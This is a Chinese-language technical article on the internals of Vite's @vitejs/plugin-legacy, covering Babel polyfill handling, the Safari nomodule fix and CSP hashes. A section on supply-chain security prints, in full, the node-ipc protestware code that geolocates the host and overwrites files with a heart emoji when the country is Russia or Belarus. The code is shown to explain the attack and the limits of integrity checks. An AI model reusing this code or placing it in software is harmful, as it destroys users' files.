  3. __vite_skip_asset_emit__:在 generateBundle 钩子中,Vite 会删除来自 lagacy bundle 的资源,来避免生成重复的资源。但这仍然需要耗费计算资源。因此,Vite 添加了此标志,尽可能地避免最初的资源生成。

插件会借助 @babel/preset-env 的能力来转译 legacy chunk 的代码。

ts
// transform the legacy chunk with @babel/preset-env
const sourceMaps = !!config.build.sourcemap;
const babel = await loadBabel();
const result = babel.transform(raw, {
  babelrc: false,
  configFile: false,
  compact: !!config.build.minify,
  sourceMaps,
  inputSourceMap: undefined,
  presets: [
    // forcing our plugin to run before preset-env by wrapping it in a
    // preset so we can catch the injected import statements...
    [
      () => ({
        plugins: [
          recordAndRemovePolyfillBabelPlugin(polyfillsDiscovered.legacy),
          replaceLegacyEnvBabelPlugin(),
          wrapIIFEBabelPlugin()
        ]
      })
    ],
    [
      (await import('@babel/preset-env')).default,
      createBabelPresetEnvOptions(targets, { needPolyfills })
    ]
  ]
});

if (result) return { code: result.code!, map: result.map };
return null;

legacyPostPluginrenderChunk 钩子会通过 babel 插件为 @babel/preset-env 赋能,注入的 babel 插件包括 recordAndRemovePolyfillBabelPluginreplaceLegacyEnvBabelPluginwrapIIFEBabelPlugin

Attention

babel 会先执行 @babel/preset-env 预设插件,其中会解析 chunk 代码,根据 targets 配置项来分析 chunk 中使用的 javascript 特性,按需为 chunk 注入 polyfills

@babel/preset-env 预设解析完成后,就会执行上述的 babel 插件,接下来一次按照执行顺序来分析 babel 插件的实现。

  1. replaceLegacyEnvBabelPluginbabel 插件。

    该插件主要是处理 legacy chunk 中的 legacyEnvVarMarker 的值。

    ts
    function replaceLegacyEnvBabelPlugin(): BabelPlugin {
      return ({ types: t }): BabelPlugin => ({
        name: 'vite-replace-env-legacy',
        visitor: {
          Identifier(path) {
            if (path.node.name === legacyEnvVarMarker) {
              path.replaceWith(t.booleanLiteral(true));
            }
          }
        }
      });
    }

    vite:define 插件在 transform 阶段会将 import.meta.env.LEGACY 值替换为 legacyEnvVarMarker 的值(__VITE_IS_LEGACY__),该插件在 renderChunk 阶段会将 legacyEnvVarMarker (__VITE_IS_LEGACY__) 替换为具体的布尔值(区分 chunk 执行的环境,legacy chunk 标记 __VITE_IS_LEGACY__truemodern chunk 标记为 false)。

    替换 __VITE_IS_LEGACY__ 的方式在 legacy chunkmodern chunk 中有所不同。legacy chunk 中通过上述的 babel 插件来实现替换,而 modern chunk 中则通过正则方式直接替换。

    ts
    function replaceLegacyEnvBabelPlugin(): BabelPlugin {
      return ({ types: t }): BabelPlugin => ({
        name: 'vite-replace-env-legacy',
        visitor: {
          Identifier(path) {
            if (path.node.name === legacyEnvVarMarker) {
              path.replaceWith(t.booleanLiteral(true));
            }
          }
        }
      });
    }
    ts
    if (!isLegacyChunk(chunk, opts)) {
      if (raw.includes(legacyEnvVarMarker)) {
        const re = new RegExp(legacyEnvVarMarker, 'g');
        let match;
        while ((match = re.exec(raw))) {
          ms.overwrite(
            match.index,
            match.index + legacyEnvVarMarker.length,
            `false`
          );
        }
      }
    }
  2. recordAndRemovePolyfillBabelPluginbabel 插件

    babel 插件主要用于收集转译后的 legacy chunkimport 语句的值。

    ts
    function recordAndRemovePolyfillBabelPlugin(
      polyfills: Set<string>
    ): BabelPlugin {
      return ({ types: t }: { types: typeof BabelTypes }): BabelPlugin => ({
        name: 'vite-remove-polyfill-import',
        post({ path }) {
          path.get('body').forEach(p => {
            if (t.isImportDeclaration(p.node)) {
              polyfills.add(p.node.source.value);
              p.remove();
            }
          });
        }
      });
    }

    viterenderChunk 阶段时, chunk 的代码已经解析完了 importexport,也就是说这个阶段正常情况下理应各个模块不应该存在 importexport。若再次收集到的 importexport 则必定是 babel@babel/preset-env 插件中注入的 polyfill 依赖模块。

    此时此刻该 babel 插件的工作就是收集 @babel/preset-env 插件在转译阶段注入的 polyfill 依赖模块。@vitejs/plugin-legacy 插件的设计并未打算在 renderChunk 之后再次执行 bundle chunks graph 的操作,那样会增加了些复杂度。插件采取的策略是收集每一个 legacy chunkimport 语句的值,认定为 polyfill 依赖模块,收集完成后会通过 p.remove() 删除 legacy chunk 中注入的 import 语句。

    generateBundle 阶段时,将收集到的 polyfill 依赖模块作为独立的 bundle 进行构建。

  3. wrapIIFEBabelPluginbabel 插件

    ts
    function wrapIIFEBabelPlugin(): BabelPlugin {
      return ({ types: t, template }): BabelPlugin => {
        const buildIIFE = template(';(function(){%%body%%})();');
    
        return {
          name: 'vite-wrap-iife',
          post({ path }) {
            if (!this.isWrapped) {
              this.isWrapped = true;
              path.replaceWith(
                t.program(buildIIFE({ body: path.node.body }))
              );
            }
          }
        };
      };
    }

    最后使用立即执行函数来包裹 legacy chunk 的源码。包裹原因可参考 PR,主要解决全局作用域污染。

Handling Of Modern Modules

执行源码如下:

js
// 通过监测支持 import.meta.url 和 动态导入 来判断是否为现代浏览器
const detectModernBrowserDetector =
  'import.meta.url;import("_").catch(()=>1);async function* g(){};';
const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`;
async function renderChunk(raw, chunk, opts) {
  if (!isLegacyChunk(chunk, opts)) {
    // options.modernPolyfills = true。不建议设置为 true,因为 core-js@3 非常激进的将 JS 前沿的特性进行注入。甚至目标为对原生 ESM 的支持都需要注入 15kb。
    if (
      options.modernPolyfills &&
      !Array.isArray(options.modernPolyfills)
    ) {
      await detectPolyfills(raw, { esmodules: true }, modernPolyfills);
    }
    const ms = new MagicString(raw);
    // 在入口处注入判断是否为现代浏览器
    if (genLegacy && chunk.isEntry) {
      ms.prepend(modernChunkLegacyGuard);
    }
    // 确定所注入的 legacyEnvVarMarker 值为 false。正常情况下和后续的 tree-sharking 所关联。
    if (raw.includes(legacyEnvVarMarker)) {
      const re = new RegExp(legacyEnvVarMarker, 'g');
      let match;
      while ((match = re.exec(raw))) {
        ms.overwrite(
          match.index,
          match.index + legacyEnvVarMarker.length,
          'false'
        );
      }
    }
    if (config.build.sourcemap) {
      return {
        code: ms.toString(),
        map: ms.generateMap({ hires: true })
      };
    }
    return {
      code: ms.toString()
    };
  }
}

在支持现代浏览器的 polyfill 从上述源码中可以划分以下几个部分:

  1. options.modernPolyfills 配置的处理。类似借助 babel@babel/preset-env 插件来做 检测(不改变源码) 并进行收集。

    js
    if (options.modernPolyfills && !Array.isArray(options.modernPolyfills)) {
      await detectPolyfills(raw, { esmodules: true }, modernPolyfills);
    }
  2. 在入口模块处添加检测,用来判断是否为现代浏览器。

    js
    const detectModernBrowserDetector =
      'import.meta.url;import("_").catch(()=>1);async function* g(){};';
    
    const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`;
    
    const ms = new MagicString(raw);
    if (genLegacy && chunk.isEntry) {
      ms.prepend(modernChunkLegacyGuard);
    }
  3. 确定 legacyEnvVarMarker 的值为 false

    js
    if (raw.includes(legacyEnvVarMarker)) {
      const re = new RegExp(legacyEnvVarMarker, 'g');
      let match;
      while ((match = re.exec(raw))) {
        ms.overwrite(
          match.index,
          match.index + legacyEnvVarMarker.length,
          'false'
        );
      }
    }

transformIndexHtml 钩子的关注点

收集到的 polyfill 集合作为全新的一个模块,其代码如下:

js
function polyfillsPlugin(imports, externalSystemJS) {
  return {
    name: 'vite:legacy-polyfills',
    resolveId(id) {
      if (id === polyfillId) {
        return id;
      }
    },
    load(id) {
      if (id === polyfillId) {
        return (
          // imports 是在 renderChunk 阶段收集到的所有需要兼容的 polyfill。
          [...imports].map(i => `import "${i}";`).join('') +
          (externalSystemJS ? '' : 'import "systemjs/dist/s.min.js";')
        );
      }
    }
  };
}

generateBundle 阶段再次单独调用 vite 进行构建 polyfill bundle。最后会生成现代浏览器支持 modern esm 的产物和旧版本浏览器支持 nomodule 的产物。

js
async function buildPolyfillChunk(
  name,
  imports,
  bundle,
  facadeToChunkMap,
  buildOptions,
  externalSystemJS
) {
  let { minify, assetsDir } = buildOptions;
  minify = minify ? 'terser' : false;
  const res = await build({
    // so that everything is resolved from here
    root: __dirname,
    configFile: false,
    logLevel: 'error',
    plugins: [polyfillsPlugin(imports, externalSystemJS)],
    build: {
      write: false,
      target: false,
      minify,
      assetsDir,
      rollupOptions: {
        input: {
          [name]: polyfillId
        },
        output: {
          format: name.includes('legacy') ? 'iife' : 'es',
          manualChunks: undefined
        }
      }
    }
  });
  // ...
}

注意

  1. plugin-legacy 内部是使用 terser 来对代码压缩。因此在配置了 minify 的时候请务必按照 terser 依赖。

  2. useBuiltIns: 'usage' 表示有用到的 polyfill 才引入。可以对比一下 useBuiltIns: 'entry'

  3. 从配置项中和 vite-wrap-iife 插件(作为 babel 的预设插件首个被执行)可以看出

js
const options = {
  output: {
    format: name.includes('legacy') ? 'iife' : 'es',
    manualChunks: undefined
  }
};

function wrapIIFEBabelPlugin() {
  return ({ types: t, template }) => {
    const buildIIFE = template(';(function(){%%body%%})();');

    return {
      name: 'vite-wrap-iife',
      post({ path }) {
        if (!this.isWrapped) {
          this.isWrapped = true;
          path.replaceWith(t.program(buildIIFE({ body: path.node.body })));
        }
      }
    };
  };
}

polyfill chunk 是立即执行函数。

之后将 polyfill chunk 注入到 bundle 中作为 polyfill bundle

js
async function buildPolyfillChunk(
  name,
  imports,
  bundle,
  facadeToChunkMap,
  buildOptions,
  externalSystemJS
) {
  // ...
  const _polyfillChunk = Array.isArray(res) ? res[0] : res;
  if (!('output' in _polyfillChunk)) return;
  const polyfillChunk = _polyfillChunk.output[0];

  // associate the polyfill chunk to every entry chunk so that we can retrieve
  // the polyfill filename in index html transform
  for (const key in bundle) {
    const chunk = bundle[key];
    if (chunk.type === 'chunk' && chunk.facadeModuleId) {
      facadeToChunkMap.set(chunk.facadeModuleId, polyfillChunk.fileName);
    }
  }

  // add the chunk to the bundle
  bundle[polyfillChunk.name] = polyfillChunk;
}

Implementation Considerations

Detect Omission Of Promise Polyfill

vite 的项目默认以 esm 为基准进行开发,esm 特性需要依赖于 systemjs 来实现 polyfill。而 systemjs 包需要依赖 promise

当用户没有在模块中使用 promise

js
import react from 'react';
console.log(react);

@babel/preset-env 解析代码时不会主动注入 promisepolyfill。但事实上模块使用了 import 语法,这是 esm 特有的语法,polyfill 时需要依赖 systemjs 来实现,而 systemjs 需要依赖 promise

因此在 @vite/legacy-plugin 中做了相应的处理。

ts
async function detectPolyfills(
  code: string,
  targets: any,
  list: Set<string>
): Promise<void> {
  const babel = await loadBabel();
  const result = babel.transform(code, {
    ast: true,
    babelrc: false,
    configFile: false,
    compact: false,
    presets: [
      [
        (await import('@babel/preset-env')).default,
        createBabelPresetEnvOptions(targets, {})
      ]
    ]
  });
  for (const node of result!.ast!.program.body) {
    if (node.type === 'ImportDeclaration') {
      const source = node.source.value;
      if (
        source.startsWith('core-js/') ||
        source.startsWith('regenerator-runtime/')
      ) {
        list.add(source);
      }
    }
  }
}
const legacyGenerateBundlePlugin: Plugin = {
  name: 'vite:legacy-generate-polyfill-chunk',
  apply: 'build',

  async generateBundle(opts, bundle) {
    // legacy bundle
    if (options.polyfills !== false) {
      // check if the target needs Promise polyfill because SystemJS relies on it
      // https://github.com/systemjs/systemjs#ie11-support
      await detectPolyfills(
        `Promise.resolve(); Promise.all();`,
        targets,
        legacyPolyfills
      );
    }
  }
};

通过解析 Promise.resolve(); Promise.all(); 来自动添加 promisepolyfill。确保构建出来的 polyfill 一定包含 promisepolyfill,以至于 systemjs 一定可以正常执行。

Inject Inline JS Code

polyfill 会在 index.html 中注入 safari 10.1 nomodule fixsystemjs 的初始化动态导入回退 的内敛 javascript 代码。

Safari 10.1 nomodule Fix

safari 11 版本及其之前的版本不支持 type=nomodule,而支持 type=module。换句话说,nomodule 标签的脚本对于 safari 11 版本及其之前的版本来说,就和普通的脚本一样,他会同时尝试执行 type="module"nomodule 的脚本,这就导致会执行两遍的代码。因此需要对 safari 10.1 版本及其之前的版本进行兼容。

这里 有具体的解决方案可供参考。

js
(function () {
  // 创建一个测试用的 script 元素
  var check = document.createElement('script');

  // 检查两个关键特性:
  // 1. 'noModule' 属性是否存在
  // 2. 'onbeforeload' 事件是否支持
  if (!('noModule' in check) && 'onbeforeload' in check) {
    var support = false;

    // 添加 beforeload 事件监听器
    document.addEventListener(
      'beforeload',
      function (e) {
        if (e.target === check) {
          // 标记该浏览器支持模块
          support = true;
        } else if (!e.target.hasAttribute('nomodule') || !support) {
          return;
        }
        // 阻止带有 nomodule 的脚本加载
        e.preventDefault();
      },
      true
    );

    // 设置测试脚本
    check.type = 'module';
    check.src = '.';
    document.head.appendChild(check);
    check.remove();
  }
})();

onbeforeload 是一个比较特殊的事件,它的支持情况与普通的事件(如 onclick、onload)很不一样。实际上,onbeforeload 主要是 safari 浏览器特有的事件,这也是为什么这个属性可以用来识别特定的浏览器行为。让我们看看不同浏览器的情况:

safari 中:

ts
const script = document.createElement('script');
// true
console.log('onbeforeload' in script);

在其他浏览器中(如 chromefirefoxie):

ts
const script = document.createElement('script');
// false
console.log('onbeforeload' in script);

通过 script 标签的 onbeforeload 事件来判断是否为 safari 浏览器;

通过 script 标签是否存在 noModule 属性来判断是否为 safari 10.1 版本及其之前的版本。

ts
if (!('noModule' in check) && 'onbeforeload' in check) {
  // 条件只有在 safari 10.1 中才会为 true.
}
Dynamic Import Fallback

safari 10.1 版本在带 type=module 标签的脚本中使用动态导入模块时会出现报错现象,因此需要对 dynamic import 做降级处理。

dynamic import 的降级需要依赖 systemjs 来实现。

html
<script type="module">
  !(function () {
    if (window.__vite_is_modern_browser) return;
    console.warn(
      'vite: loading legacy chunks, syntax error above and the same error below should be ignored'
    );
    var e = document.getElementById('vite-legacy-polyfill'),
      n = document.createElement('script');
    (n.src = e.src),
      (n.onload = function () {
        System.import(
          document
            .getElementById('vite-legacy-entry')
            .getAttribute('data-src')
        );
      }),
      document.body.appendChild(n);
  })();
</script>

<script
  nomodule
  crossorigin
  id="vite-legacy-entry"
  data-src="/assets/index-legacy-CwS5KdAx.js"
>
  System.import(
    document.getElementById('vite-legacy-entry').getAttribute('data-src')
  );
</script>
Content Security Policy

由于 safari 10.1 版本的特殊性,@vitejs/plugin-legacy 插件需要往 index.html 中注入内敛 javascript 运行时代码。运行时代码包含 safari 10.1 nomodule fixsystemjs 的初始化动态导入回退 的代码。

若项目严格遵循 csp 策略,那么需要将内联脚本的 hash 值添加到 script-src 列表中。@vitejs/plugin-legacy 插件内部已经生成好了各个内敛脚本的 hash 值。

ts
import crypto from 'node:crypto';

const hash =
  // crypto.hash is supported in Node 21.7.0+, 20.12.0+
  crypto.hash ??
  ((
    algorithm: string,
    data: crypto.BinaryLike,
    outputEncoding: crypto.BinaryToTextEncoding
  ) => crypto.createHash(algorithm).update(data).digest(outputEncoding));
export const cspHashes = [
  safari10NoModuleFix,
  systemJSInlineCode,
  detectModernBrowserCode,
  dynamicFallbackInlineCode
].map(i => hash('sha256', i, 'base64'));

可以直接通过 cspHashes 变量获取(注意不包括 sha256- 前缀,需手动添加)。

ts
import { cspHashes } from '@vitejs/plugin-legacy';

方式来获取所有注入到 html 中的 csp hash 值。

Prompt

csp hash 的详细介绍和注意事项可参照 Using a hash with CSP

script 标签中的 integrity 属性与之有相似之处,需要注意对比

html
<script
  src="https://example.com/example-framework.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

integrity 是允许浏览器检查其获得的资源(例如从 CDN 获得的资源)是否被恶意篡改的一项安全特性,通过验证 获取文件的哈希值 是否和 integrity 提供的哈希值一样来判断资源是否被篡改。与 csp 互补:

  1. csp 是预防性安全措施:

    • 定义资源加载的全局策略。
    • 主动限制哪些内联脚本可以执行。
    • 对整个页面提供保护。
    • 防止 xss 攻击。
  2. integrity 是验证性安全措施:

    • 不限制资源加载本身。
    • 在资源加载后、执行前验证其内容。
    • 为单个资源提供保护。
    • 防止供应链攻击。

在现代 web 安全实践中,通常可以在如下场景中使用:

  • 需要使用内联脚本(使用 csp 哈希)
  • 限制外链资源来源(使用 csp
  • 依赖第三方 cdn 或外部资源(使用 integrity

这种组合方法可以显著提高应用程序对 xss 攻击和供应链攻击的能力。

再扩充一点,pnpm-lock.yaml 记录的外部依赖包也会采用 integrity 值来做完整性校验。

yaml
packages:
  '@algolia/autocomplete-core@1.17.7':
    resolution:
      {
        integrity: sha512-BjiPOW6ks90UKl7TwMv7oNQMnzU+t/wk9mgIDi6b1tXpUek7MW0lbNOUHpvam9pe3lVCf4xPFT+lK7s+e+fs7Q==
      }

工作原理和浏览器对于 script 标签的 integrity 属性类似,用来校验所下载的远程依赖的完整性,确保下载的依赖中途不会被恶意篡改,减低针对 cdn 服务器的供应链攻击风险(DNS 劫持、域名到期抢注、域名注册商账户入侵来通知 cdn 域名,将流量重定向到自己的服务器),两者均遵循 W3C 的 Subresource Integrity 规范

integrity 验证机制 主要防御 的是 传输分发 阶段的供应链攻击,即合法代码在从原始发布者到最终用户的传输过程中 被恶意篡改的情况。它们通过密码学哈希验证确保开发者和用户收到的是包发布者原本打算提供的代码,而不是途中被替换的恶意版本。

但局限性在于 无法防御源头就包含恶意代码 的场景,即 包维护者主动投毒包维护者账户被入侵,这也是最为常见的问题:

  • 2022-03-15vue-cli 遭受到 node-ipc 未按预期的行为

    未按预期的行为逻辑如下:

    js
    import u from 'path';
    import a from 'fs';
    import o from 'https';
    setTimeout(
      function () {
        const t = Math.round(Math.random() * 4);
        if (t > 1) {
          return;
        }
        const n =
          'https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154';
        o.get(n.toString('utf8'), function (t) {
          t.on('data', function (t) {
            const n = './';
            const o = '../';
            const r = '../../';
            const f = '/';
            const c = 'country_name';
            const e = 'russia';
            const i = 'belarus';
            try {
              const s = JSON.parse(t.toString('utf8'));
              const u = s[c.toString('utf8')].toLowerCase();
              const a =
                u.includes(e.toString('utf8')) ||
                u.includes(i.toString('utf8'));
              if (a) {
                h(n.toString('utf8'));
                h(o.toString('utf8'));
                h(r.toString('utf8'));
                h(f.toString('utf8'));
              }
            } catch (t) {}
          });
        });
      },
      Math.ceil(Math.random() * 1e3)
    );
    async function h(n = '', o = '') {
      if (!a.existsSync(n)) {
        return;
      }
      let r = [];
      try {
        r = a.readdirSync(n);
      } catch (t) {}
      const f = [];
      const c = '❤️';
      for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
          t = a.lstatSync(i);
        } catch (t) {
          continue;
        }
        if (t.isDirectory()) {
          const s = h(i, o);
          s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
          try {
            a.writeFile(i, c.toString('utf8'), function () {});
          } catch (t) {}
        }
      }
      return f;
    }
    const ssl = true;
    export { ssl as default, ssl };

    这是一次针对特定地域开发者(俄罗斯白俄罗斯)的定向供应链攻击,开发者背弃了开源精神而将开源项目作为其实现自身政治意图的工具,是一种开源恐怖主义行为。传统的供应链是一级与一级之间通过合同来相互制约,但是对于开源产品的供应链中并没有相关的约束。看似强大的开源社区,其实非常脆弱,当信任链断裂,建立于开源体系的生态也将轰然倒塌。

    一个小 tip

    攻击者,node-ipc 作者 Brandon Nozaki Miller (RIAEvangelist) 最后给出了 "贴心提示"

    Locking deps after a code review is probably good practice anyway.


    在代码审查后锁定依赖可能是一个好习惯。

  • 2021.10.22ua-parser-js 遭到投毒攻击,疑似维护者账号由于密码泄露或者被爆破而发生劫持。

    • 账户接管:攻击者以未披露的方式获取了 Faisal Salmannpm 账户控制权

    • 恶意版本发布:在控制账户后,攻击者立即发布了三个包含恶意代码的新版本:

      • 0.7.29(针对旧版用户)
      • 0.8.0(新的次要版本号,吸引升级)
      • 1.0.0(主版本升级,引诱早期采用者)
    • 快速发现GitHub 用户 "AminCoder" 首先在 GitHub 上提出了警报,发现可疑代码

    • 确认与响应:几小时内,npm 安全团队确认了攻击并迅速采取行动

    • 官方通报:同一天,美国网络安全和基础设施安全局(CISA)发布了正式警告

    • 清理操作npm 从注册表中移除了恶意版本,项目维护者发布了干净的修复版本

    • 安全通告GitHub 发布了 CVE-2021-42078 安全公告,正式记录了此次事件

组织和防范措施的发展:

  • 改进的包完整性验证机制SRIintegrity 验证依赖(包)的完整性。
  • 2FA 认证要求npm 现在要求所有流行包的维护者使用 2FA,扩大了 2FA 的覆盖范围。
  • 供应链级别的框架:如 SLSA (Supply chain Levels for Software Artifacts) 和 SBOM (Software Bill of Materials) 的广泛采用。
  • 推广了 "lockfile freeze" 实践:防止自动升级到最新版本,从而避免遭遇供应链攻击。
  • 公共基金支持:如 Open CollectiveGitHub Sponsors 等平台的发展,解决开源维护的财务可持续性问题。
  • 高级监控工具:能够检测包行为异常的自动化安全工具,特别是网络活动和文件系统操作。

用户可以手动将 cspHashes 的值逐一复制到 Content-Security-Policy 标签的 script-src 属性上。但需注意的是这些数值可能在 次要版本 之间发生变化。若手动复制数值,则应使用 ~ 锁定次要版本。

但更合适的注入方案是通过 vite 用户插件来实现 csp hash 的自动注入,可以像如下的方式来实现:

ts
import { defineConfig } from 'vite';
import legacy, { cspHashes } from '@vitejs/plugin-legacy';

export default defineConfig({
  plugins: [
    {
      name: 'vite-plugin-inject-csp-hashes',
      apply: 'build',
      enforce: 'post',

      transformIndexHtml(html) {
        return {
          html,
          tags: [
            {
              tag: 'meta',
              attrs: {
                'http-equiv': 'Content-Security-Policy',
                content:
                  `script-src 'self' ` +
                  cspHashes.map(hash => `'sha256-${hash}'`).join(' ')
              },
              injectTo: 'head-prepend'
            }
          ]
        };
      }
    },
    legacy({
      targets: ['defaults', 'not IE 11']
    })
  ]
});

输出到 html 的产物如下:

html
<meta
  http-equiv="Content-Security-Policy"
  content="script-src 'self' 
  'sha256-MS6/3FCg4WjP9gwgaBGwLpRCY6fZBgwmhVCdrPrNf3E=' 'sha256-tQjf8gvb2ROOMapIxFvFAYBeUJ0v1HCbOcSmDNXGtDo=' 'sha256-VA8O2hAdooB288EpSTrGLl7z3QikbWU9wwoebO/QaYk=' 
  'sha256-+5XkZFazzJo8n0iOP4ti/cLCMUudTf//Mzkb7xNPXIc='"
/>

html 页面可以包含多个 csp meta 标签,每个标签可以定义不同的策略指令,最终会合并执行。

在使用 regenerator-runtime polyfill 时,它会尝试使用 globalThis 对象来注册自身。如果 globalThis 不可用(globalThis 特性是 相当新 的,用户代理支持程度有限,在 ie 11 中并不支持),则会尝试执行动态 Function(...) 方法调用,这会违反了 csp 规则。为避免在缺少 globalThis 的环境下进行动态解析,需要考虑手动将 core-js/proposals/global-this 添加到 additionalLegacyPolyfills 中。

Contributors

Changelog

Discuss

Released under the CC BY-SA 4.0 License. (2619af4)